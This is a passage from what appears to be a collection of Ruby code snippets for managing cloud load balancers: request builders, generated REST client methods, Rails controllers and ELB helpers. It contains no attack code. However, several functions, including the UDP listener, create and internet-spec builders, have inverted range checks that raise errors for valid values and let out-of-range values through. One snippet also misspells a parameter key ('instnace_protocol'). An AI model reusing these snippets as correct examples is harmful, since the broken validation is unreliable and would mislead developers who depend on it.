http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :cookie\n\t\t\targs[:query]['Cookie'] = optional[:cookie]\n\t\tend\n\t\tif optional.key? :cookie_timeout\n\t\t\targs[:query]['CookieTimeout'] = optional[:cookie_timeout]\n\t\tend\n\t\tif optional.key? :domain\n\t\t\targs[:query]['Domain'] = optional[:domain]\n\t\tend\n\t\tif optional.key? :health_check\n\t\t\targs[:query]['HealthCheck'] = optional[:health_check]\n\t\tend\n\t\tif optional.key? :health_check_timeout\n\t\t\targs[:query]['HealthCheckTimeout'] = optional[:health_check_timeout]\n\t\tend\n\t\tif optional.key? :healthy_threshold\n\t\t\targs[:query]['HealthyThreshold'] = optional[:healthy_threshold]\n\t\tend\n\t\tif optional.key? :host_id\n\t\t\targs[:query]['HostId'] = optional[:host_id]\n\t\tend\n\t\tif optional.key? :interval\n\t\t\targs[:query]['Interval'] = optional[:interval]\n\t\tend\n\t\tif optional.key? :listener_port\n\t\t\targs[:query]['ListenerPort'] = optional[:listener_port]\n\t\tend\n\t\tif optional.key? :load_balancer_id\n\t\t\targs[:query]['LoadBalancerId'] = optional[:load_balancer_id]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :scheduler\n\t\t\targs[:query]['Scheduler'] = optional[:scheduler]\n\t\tend\n\t\tif optional.key? :sticky_session\n\t\t\targs[:query]['StickySession'] = optional[:sticky_session]\n\t\tend\n\t\tif optional.key? :sticky_session_type\n\t\t\targs[:query]['StickySessionType'] = optional[:sticky_session_type]\n\t\tend\n\t\tif optional.key? :u_r_i\n\t\t\targs[:query]['URI'] = optional[:u_r_i]\n\t\tend\n\t\tif optional.key? :unhealthy_threshold\n\t\t\targs[:query]['UnhealthyThreshold'] = optional[:unhealthy_threshold]\n\t\tend\n\t\tif optional.key? :x_forwarded_for\n\t\t\targs[:query]['XForwardedFor'] = optional[:x_forwarded_for]\n\t\tend\n\t\tself.run(args)\n\tend", "def update!(**args)\n @address_pools = args[:address_pools] if args.key?(:address_pools)\n @load_balancer_node_pool_config = args[:load_balancer_node_pool_config] if args.key?(:load_balancer_node_pool_config)\n end", "def balancer\n @balancer ||= RightSupport::Net::RequestBalancer.new(@@hostnames,\n :policy=>RightSupport::Net::Balancing::StickyPolicy)\n end", "def modify_subnet_attribute(subnet_id, options = {})\n params = {}\n params['MapPublicIpOnLaunch.Value'] = options.delete 'MapPublicIpOnLaunch' if options['MapPublicIpOnLaunch']\n request({\n 'Action' => 'ModifySubnetAttribute',\n 'SubnetId' => subnet_id,\n :parser => Fog::Parsers::AWS::Compute::ModifySubnetAttribute.new\n }.merge(params))\n end", "def create\n @lb_pool = LbPool.new(params[:lb_pool])\n \n respond_to do |format|\n if @lb_pool.save \n flash[:notice] = 'Load Balancer Pool was successfully created.'\n format.html { redirect_to lb_pool_url(@lb_pool) }\n format.xml { head :created, :location => lb_pool_url(@lb_pool) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lb_pool.errors.to_xml, :status => :unprocessable_entity }\n end\n end\n end", "def create_load_balancer(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'CreateLoadBalancer'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :address_type\n\t\t\targs[:query]['AddressType'] = optional[:address_type]\n\t\tend\n\t\tif optional.key? :bandwidth\n\t\t\traise ArgumentError, 'bandwidth must be equal or greater than -1' unless optional[:bandwidth] < -1\n\t\t\traise ArgumentError, 'bandwidth must be equal or less than 1000' unless optional[:bandwidth] > 1000\n\t\t\targs[:query]['Bandwidth'] = optional[:bandwidth]\n\t\tend\n\t\tif optional.key? :client_token\n\t\t\targs[:query]['ClientToken'] = optional[:client_token]\n\t\tend\n\t\tif optional.key? :internet_charge_type\n\t\t\targs[:query]['InternetChargeType'] = optional[:internet_charge_type]\n\t\tend\n\t\tif optional.key? :load_balancer_name\n\t\t\targs[:query]['LoadBalancerName'] = optional[:load_balancer_name]\n\t\tend\n\t\tif optional.key? :master_zone_id\n\t\t\targs[:query]['MasterZoneId'] = optional[:master_zone_id]\n\t\tend\n\t\tif optional.key? :max_conn_limit\n\t\t\targs[:query]['MaxConnLimit'] = optional[:max_conn_limit]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tif optional.key? :security_status\n\t\t\targs[:query]['SecurityStatus'] = optional[:security_status]\n\t\tend\n\t\tif optional.key? :slave_zone_id\n\t\t\targs[:query]['SlaveZoneId'] = optional[:slave_zone_id]\n\t\tend\n\t\tif optional.key? :v_switch_id\n\t\t\targs[:query]['VSwitchId'] = optional[:v_switch_id]\n\t\tend\n\t\tif optional.key? :vpc_id\n\t\t\targs[:query]['VpcId'] = optional[:vpc_id]\n\t\tend\n\t\tself.run(args)\n\tend", "def update!(**args)\n @control_plane_load_balancer_port = args[:control_plane_load_balancer_port] if args.key?(:control_plane_load_balancer_port)\n end", "def update!(**args)\n @control_plane_load_balancer_port = args[:control_plane_load_balancer_port] if args.key?(:control_plane_load_balancer_port)\n end", "def read_load_balancer_pool_with_http_info(pool_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesLoadbalancerApi.read_load_balancer_pool ...'\n end\n # verify the required parameter 'pool_id' is set\n if @api_client.config.client_side_validation && pool_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pool_id' when calling ManagementPlaneApiServicesLoadbalancerApi.read_load_balancer_pool\"\n end\n # resource path\n local_var_path = '/loadbalancer/pools/{pool-id}'.sub('{' + 'pool-id' + '}', pool_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LbPool')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesLoadbalancerApi#read_load_balancer_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def elb_listener(elb)\n resp = aws_api_connect(\"ELB_Client\")\n begin\n pants = resp.create_load_balancer_listeners({\n load_balancer_name: elb[:name],\n listeners: [\n {\n protocol: elb[:protocol],\n load_balancer_port: elb[:port],\n instance_protocol: elb[:instnace_protocol],\n instance_port: elb[:instance_port],\n ssl_certificate_id: elb[:ssl_cert],\n },\n ],\n })\n rescue Aws::ElasticLoadBalancing::Errors::DuplicateListener\n puts \"Load Balancer listener #{elb[:name]} duplicate exists, skipping\"\n end\n end", "def elb(elb_name)\n ELB.new(elb_name)\n end", "def set_load_balancer_u_d_p_listener_attribute(bandwidth, listener_port, load_balancer_id, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'SetLoadBalancerUDPListenerAttribute'\n\t\targs[:query]['LoadBalancerId'] = load_balancer_id\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :health_check_connect_port\n\t\t\traise ArgumentError, 'health_check_connect_port must be equal or greater than 1' unless optional[:health_check_connect_port] < 1\n\t\t\traise ArgumentError, 'health_check_connect_port must be equal or less than 65535' unless optional[:health_check_connect_port] > 65535\n\t\t\targs[:query]['HealthCheckConnectPort'] = optional[:health_check_connect_port]\n\t\tend\n\t\tif optional.key? :health_check_connect_timeout\n\t\t\traise ArgumentError, 'health_check_connect_timeout must be equal or greater than 1' unless optional[:health_check_connect_timeout] < 1\n\t\t\traise ArgumentError, 'health_check_connect_timeout must be equal or less than 50' unless optional[:health_check_connect_timeout] > 50\n\t\t\targs[:query]['HealthCheckConnectTimeout'] = optional[:health_check_connect_timeout]\n\t\tend\n\t\tif optional.key? :health_check_interval\n\t\t\traise ArgumentError, 'health_check_interval must be equal or greater than 1' unless optional[:health_check_interval] < 1\n\t\t\traise ArgumentError, 'health_check_interval must be equal or less than 5' unless optional[:health_check_interval] > 5\n\t\t\targs[:query]['HealthCheckInterval'] = optional[:health_check_interval]\n\t\tend\n\t\tif optional.key? :healthy_threshold\n\t\t\traise ArgumentError, 'healthy_threshold must be equal or greater than 1' unless optional[:healthy_threshold] < 1\n\t\t\traise ArgumentError, 'healthy_threshold must be equal or less than 10' unless optional[:healthy_threshold] > 10\n\t\t\targs[:query]['HealthyThreshold'] = optional[:healthy_threshold]\n\t\tend\n\t\tif optional.key? :max_conn_limit\n\t\t\targs[:query]['MaxConnLimit'] = optional[:max_conn_limit]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :persistence_timeout\n\t\t\traise ArgumentError, 'persistence_timeout must be equal or greater than 0' unless optional[:persistence_timeout] < 0\n\t\t\traise ArgumentError, 'persistence_timeout must be equal or less than 86400' unless optional[:persistence_timeout] > 86400\n\t\t\targs[:query]['PersistenceTimeout'] = optional[:persistence_timeout]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tif optional.key? :scheduler\n\t\t\targs[:query]['Scheduler'] = optional[:scheduler]\n\t\tend\n\t\tif optional.key? :unhealthy_threshold\n\t\t\traise ArgumentError, 'unhealthy_threshold must be equal or greater than 1' unless optional[:unhealthy_threshold] < 1\n\t\t\traise ArgumentError, 'unhealthy_threshold must be equal or less than 10' unless optional[:unhealthy_threshold] > 10\n\t\t\targs[:query]['UnhealthyThreshold'] = optional[:unhealthy_threshold]\n\t\tend\n\t\traise ArgumentError, 'bandwidth must be equal or greater than -1' unless bandwidth < -1\n\t\traise ArgumentError, 'bandwidth must be equal or less than 1000' unless bandwidth > 1000\n\t\targs[:query]['Bandwidth'] = bandwidth\n\t\traise ArgumentError, 'listener_port must be equal or greater than 1' unless listener_port < 1\n\t\traise ArgumentError, 'listener_port must be equal or less than 65535' unless listener_port > 65535\n\t\targs[:query]['ListenerPort'] = listener_port\n\t\tself.run(args)\n\tend", "def modify_load_balancer_internet_spec(load_balancer_id, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'ModifyLoadBalancerInternetSpec'\n\t\targs[:query]['LoadBalancerId'] = load_balancer_id\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :bandwidth\n\t\t\traise ArgumentError, 'bandwidth must be equal or greater than 1' unless optional[:bandwidth] < 1\n\t\t\traise ArgumentError, 'bandwidth must be equal or less than 1000' unless optional[:bandwidth] > 1000\n\t\t\targs[:query]['Bandwidth'] = optional[:bandwidth]\n\t\tend\n\t\tif optional.key? :internet_charge_type\n\t\t\targs[:query]['InternetChargeType'] = optional[:internet_charge_type]\n\t\tend\n\t\tif optional.key? :master_zone_id\n\t\t\targs[:query]['MasterZoneId'] = optional[:master_zone_id]\n\t\tend\n\t\tif optional.key? :max_conn_limit\n\t\t\targs[:query]['MaxConnLimit'] = optional[:max_conn_limit]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tif optional.key? :security_status\n\t\t\targs[:query]['SecurityStatus'] = optional[:security_status]\n\t\tend\n\t\tif optional.key? :slave_zone_id\n\t\t\targs[:query]['SlaveZoneId'] = optional[:slave_zone_id]\n\t\tend\n\t\tself.run(args)\n\tend", "def update_lb_service_with_http_info(lb_service_id, lb_service, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.update_lb_service ...'\n end\n # verify the required parameter 'lb_service_id' is set\n if @api_client.config.client_side_validation && lb_service_id.nil?\n fail ArgumentError, \"Missing the required parameter 'lb_service_id' when calling PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.update_lb_service\"\n end\n # verify the required parameter 'lb_service' is set\n if @api_client.config.client_side_validation && lb_service.nil?\n fail ArgumentError, \"Missing the required parameter 'lb_service' when calling PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.update_lb_service\"\n end\n # resource path\n local_var_path = '/global-infra/lb-services/{lb-service-id}'.sub('{' + 'lb-service-id' + '}', lb_service_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(lb_service)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LBService')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi#update_lb_service\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def patch_lb_service_with_http_info(lb_service_id, lb_service, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.patch_lb_service ...'\n end\n # verify the required parameter 'lb_service_id' is set\n if @api_client.config.client_side_validation && lb_service_id.nil?\n fail ArgumentError, \"Missing the required parameter 'lb_service_id' when calling PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.patch_lb_service\"\n end\n # verify the required parameter 'lb_service' is set\n if @api_client.config.client_side_validation && lb_service.nil?\n fail ArgumentError, \"Missing the required parameter 'lb_service' when calling PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.patch_lb_service\"\n end\n # resource path\n local_var_path = '/global-infra/lb-services/{lb-service-id}'.sub('{' + 'lb-service-id' + '}', lb_service_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(lb_service)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi#patch_lb_service\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def update_node(name, condition)\n # check whether the condition is valid\n unless [:enabled, :draining].include?(condition)\n raise ArgumentError, 'Invalid condition (can be :enabled or :draining)'\n end\n\n lb_details = status\n\n raise LoadBalancerNotFound, 'No LB details found!' if lb_details.empty?\n\n to_update = calculate_update(name.downcase, lb_details, condition)\n\n if to_update.size != lb_details.size\n raise LBInconsistentState, \"We only found #{to_update.size} nodes across #{lb_details.size} LBs\"\n end\n\n flush_updates(to_update)\n end", "def status\n details = @lbs.map { |lb_id| get_lb_details(lb_id) }\n\n parse_lb_details(details)\n end", "def get_elb(layer_name)\n layer_id = layers[layer_name].layer_id\n elbs = opsworks_client.describe_elastic_load_balancers(layer_ids:[layer_id])\n if elbs.elastic_load_balancers.size > 0\n name = elbs.elastic_load_balancers.first.elastic_load_balancer_name\n ELB.new(name)\n else\n nil\n end\n end", "def create\n @loadbalancer = Loadbalancer.new(params[:loadbalancer])\n @loadbalancer.account_id = @oeaccount.id\n respond_to do |format|\n if @loadbalancer.save\n format.html { redirect_to loadbalancers_url, notice: 'Loadbalancer was successfully created.' }\n format.json { render json: @loadbalancer, status: :created, location: @loadbalancer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @loadbalancer.errors, status: :unprocessable_entity }\n end\n end\n end", "def run\n if !config[:run_list] and !config[:chef_env]\n ui.fatal \"Please specify either --run-list or --chef-env to change on your cluster\"\n exit(1)\n end\n if @name_args.empty?\n ui.fatal \"Please specify a load balancer ID to update\"\n exit(1)\n end\n lb_auth = authenticate()\n headers = {\"x-auth-token\" => lb_auth['auth_token'], \"content-type\" => \"application/json\"}\n lb_url = \"\"\n lb_auth['lb_urls'].each {|lb|\n if config[:lb_region].to_s.downcase == lb['region'].to_s.downcase\n lb_url = lb['publicURL']\n break\n end\n lb_url = lb['publicURL']\n }\n @name_args.each {|arg|\n lb_url = lb_url + \"/loadbalancers/#{arg}\"\n lb_data = make_web_call(\"get\", lb_url, headers)\n lb_data = JSON.parse(lb_data.body) \n instances = []\n lb_data['loadBalancer']['metadata'].each{|md|\n instances << {\"server_name\" => md['key'], \"uuid\" => md['uuid']}\n }\n \n if config[:run_list]\n config[:run_list] = config[:run_list].split(\",\")\n change_chef_vars(instances) { |node_item|\n ui.msg \"Changing #{node_item.name} run list to #{config[:run_list]}\"\n node_item.run_list(config[:run_list])\n node_item.save\n }\n end\n if config[:chef_env]\n change_chef_vars(instances){|node_item|\n ui.msg \"Changing #{node_item.name} chef environment to #{config[:chef_env]}\"\n node_item.chef_environment(config[:chef_env])\n node_item.save\n \n }\n end\n \n }\n \n end", "def ssdb_attr_pool(pool_name)\n @ssdb_attr_pool_name = pool_name\n end", "def update!(**args)\n @manual_lb_config = args[:manual_lb_config] if args.key?(:manual_lb_config)\n @port_config = args[:port_config] if args.key?(:port_config)\n @vip_config = args[:vip_config] if args.key?(:vip_config)\n end", "def update_subnets(elb_name, subnet_changes)\n # Since we cannot have multiple subnets in the same availability zone, we have to\n # detach subnets before we add them.\n detach_subnets = subnet_changes.removed.map { |subnet| subnet.subnet_id }\n if !detach_subnets.empty?\n @elb.detach_load_balancer_from_subnets({\n load_balancer_name: elb_name,\n subnets: detach_subnets\n })\n end\n\n # Attach subnets. If something goes wrong, attempt a rollback (if any subnets were removed)\n attach_subnets = subnet_changes.added.map { |subnet| subnet.subnet_id }\n if !attach_subnets.empty?\n update_rollback(\"subnets\", !detach_subnets.empty?,\n # update\n Proc.new {\n @elb.attach_load_balancer_to_subnets({\n load_balancer_name: elb_name,\n subnets: attach_subnets\n })\n },\n # rollback\n Proc.new {\n @elb.attach_load_balancer_to_subnets({\n load_balancer_name: elb_name,\n subnets: detach_subnets\n })\n })\n end\n end", "def set_load_interval(name, opts = {})\n commands = command_builder('load-interval', opts)\n configure_interface(name, commands)\n end", "def create_params\n params.require(:balancer).permit(:name)\n end", "def delete\n client.delete_load_balancer(:load_balancer_name => name)\n nil\n end", "def add_to_lb(group)\n @haproxy.identity_filter(@load_balancer)\n # We don't have to identify the nodes in the group\n # for every action. I'm doing it here to make each\n # method easier to read\n @rpcutil.class_filter(group)\n begin\n @rpcutil.ping.each do |node|\n hostname = node.results[:sender]\n # Disable the nodes\n @haproxy.enable(:backend => 'puppetcamp', :server => hostname).each do |rpcresult|\n if rpcresult.results[:statuscode] != 0\n raise LoadBalancerAddException, hostname\n end\n end\n end\n ensure\n @haproxy.reset_filter\n @rpcutil.reset_filter\n end\nend", "def describe_load_balancers(ids = [], options = {})\n ids = [*ids]\n params = {}\n params['Marker'] = options[:marker] if options[:marker]\n params['PageSize'] = options[:page_size] if options[:page_size]\n params.merge!(Fog::AWS.serialize_keys('LoadBalancerArns', ids)) if ids.any?\n params.merge!(Fog::AWS.serialize_keys('Names', options[:names])) if options[:names]\n request({\n 'Action' => 'DescribeLoadBalancers',\n :parser => Fog::Parsers::AWS::ELBV2::DescribeLoadBalancers.new\n }.merge!(params))\n end", "def update_load_balancer_pool(pool_id, lb_pool, opts = {})\n data, _status_code, _headers = update_load_balancer_pool_with_http_info(pool_id, lb_pool, opts)\n data\n end", "def update_lb_service_0_with_http_info(lb_service_id, lb_service, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.update_lb_service_0 ...'\n end\n # verify the required parameter 'lb_service_id' is set\n if @api_client.config.client_side_validation && lb_service_id.nil?\n fail ArgumentError, \"Missing the required parameter 'lb_service_id' when calling PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.update_lb_service_0\"\n end\n # verify the required parameter 'lb_service' is set\n if @api_client.config.client_side_validation && lb_service.nil?\n fail ArgumentError, \"Missing the required parameter 'lb_service' when calling PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.update_lb_service_0\"\n end\n # resource path\n local_var_path = '/infra/lb-services/{lb-service-id}'.sub('{' + 'lb-service-id' + '}', lb_service_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(lb_service)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LBService')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi#update_lb_service_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def set_subnets(lb_id, subnet_ids)\n params = {}\n\n params.merge!(Fog::AWS.serialize_keys('Subnets', subnet_ids))\n request({\n 'Action' => 'SetSubnets',\n 'LoadBalancerArn' => lb_id,\n :parser => Fog::Parsers::AWS::ELBV2::SetSubnets.new\n }.merge!(params))\n end", "def patch_lb_service_0_with_http_info(lb_service_id, lb_service, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.patch_lb_service_0 ...'\n end\n # verify the required parameter 'lb_service_id' is set\n if @api_client.config.client_side_validation && lb_service_id.nil?\n fail ArgumentError, \"Missing the required parameter 'lb_service_id' when calling PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.patch_lb_service_0\"\n end\n # verify the required parameter 'lb_service' is set\n if @api_client.config.client_side_validation && lb_service.nil?\n fail ArgumentError, \"Missing the required parameter 'lb_service' when calling PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.patch_lb_service_0\"\n end\n # resource path\n local_var_path = '/infra/lb-services/{lb-service-id}'.sub('{' + 'lb-service-id' + '}', lb_service_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(lb_service)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi#patch_lb_service_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def connection_logging=(state)\n (raise CloudLB::Exception::MissingArgument, \"Must provide either true or false\") unless [true,false].include?(state)\n body = {'connectionLogging' => {:enabled => state}}.to_json\n response = @connection.lbreq(\"PUT\",@lbmgmthost,\"#{@lbmgmtpath}/loadbalancers/#{CloudLB.escape(@id.to_s)}/connectionlogging\",@lbmgmtport,@lbmgmtscheme,{}, body)\n CloudLB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n true\n end", "def update_lb_persistence_profile_with_http_info(lb_persistence_profile_id, lb_persistence_profile, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerProfilesLoadBalancerPersistenceProfilesApi.update_lb_persistence_profile ...'\n end\n # verify the required parameter 'lb_persistence_profile_id' is set\n if @api_client.config.client_side_validation && lb_persistence_profile_id.nil?\n fail ArgumentError, \"Missing the required parameter 'lb_persistence_profile_id' when calling PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerProfilesLoadBalancerPersistenceProfilesApi.update_lb_persistence_profile\"\n end\n # verify the required parameter 'lb_persistence_profile' is set\n if @api_client.config.client_side_validation && lb_persistence_profile.nil?\n fail ArgumentError, \"Missing the required parameter 'lb_persistence_profile' when calling PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerProfilesLoadBalancerPersistenceProfilesApi.update_lb_persistence_profile\"\n end\n # resource path\n local_var_path = '/infra/lb-persistence-profiles/{lb-persistence-profile-id}'.sub('{' + 'lb-persistence-profile-id' + '}', lb_persistence_profile_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(lb_persistence_profile)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LBPersistenceProfile')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerProfilesLoadBalancerPersistenceProfilesApi#update_lb_persistence_profile\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def load_balancer_names\n @group.load_balancer_names\n end", "def update_realization_state_barrier_config_with_http_info(realization_state_barrier_config, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiRealizationApi.update_realization_state_barrier_config ...'\n end\n # verify the required parameter 'realization_state_barrier_config' is set\n if @api_client.config.client_side_validation && realization_state_barrier_config.nil?\n fail ArgumentError, \"Missing the required parameter 'realization_state_barrier_config' when calling ManagementPlaneApiRealizationApi.update_realization_state_barrier_config\"\n end\n # resource path\n local_var_path = '/realization-state-barrier/config'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(realization_state_barrier_config)\n auth_names = ['BasicAuth']\n data, 